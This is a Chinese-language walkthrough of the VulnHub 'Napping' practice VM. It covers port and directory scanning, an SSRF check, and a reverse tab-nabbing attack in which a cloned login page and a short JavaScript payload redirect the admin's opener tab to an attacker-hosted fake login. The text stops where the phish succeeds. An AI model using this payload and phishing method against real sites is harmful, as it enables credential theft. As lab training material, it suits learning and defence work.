Napping
攻击机kali:192.168.0.105
靶机:192.168.0.103(使用virtualbox搭建)
下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova
一 · 靶机的发现与信息搜集:
使用 networkdiscover 扫描当前网段,发现靶机ip为 192.168.0.103
networkdiscover -i eth0 -r 192.168.0.0/24
获取ip地址后扫描当前靶机开放端口,发现仅开放 22、80端口
nmap -p1-65535 -sV -n -A 192.168.0.103
扫描当前站点web目录,没有找到特别的发现。开始在网站的功能点上寻找漏洞
[09:23:44] 200 - 0B - /config.php
[09:23:48] 200 - 1KB - /index.php
[09:23:48] 200 - 1KB - /index.php/login/
[09:23:50] 302 - 0B - /logout.php -> index.php
[09:23:55] 200 - 2KB - /register.php
[09:23:56] 403 - 278B - /server-status
访问当前靶机80端口,注册后发现站点是一个博客推广网站,中间部分能填写当前博客的网址。
还有一个重置密码和一个登出的按钮,咱留着后面再试
填写链接后点击按钮会打开新标签页到填写链接的地址,使用 dnslog 测试后发现存在ssrf
二 · 漏洞发现
1 · 对管理员的钓鱼
(1)查看页面源码
描述中说到了,所有提交的链接都将由管理员审核。是否就意味着管理员会查看提交的 URL 所指向的内容。
查看页面源码发现应存在一处 Tab Nabbing 漏洞。下面是一个网上找到的比较通俗易懂的解释:https://kebingzao.com/2020/05/14/a-target-blank/
再来看靶机页面的源码,target="_bank" 说明了此处确实是有可能存在这一个漏洞的。
(2)开始钓鱼
使用wget 把登录页面的源码下载下来,然后再制作一个恶意链接。
wget http://192.168.0.103/index.php
我们将恶意的伪造页面保存为 index.html ,将含有恶意 js 代码的页面保存为 evil.html
钓鱼页面源码:
<!DOCTYPE html>
<html>
<head>
<title>My Blog</title>
</head>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.0.104/index.html');
if(window.opener != window) window.opener.parent.location.replace('http://192.168.0.104/index.html');
</script>
</body>
</html>
随后将两个页面分别放进 /var/www/html 文件夹下,并使用python3开启 80 端口web服务
python3 -m http.server 80
将链接放在 blog link 框中后,在运行 web服务的主机上使用监听程序监听流量(这里打错了,应该是 192.168.0.105)
成功使用 wireshark 看到鱼儿上钩了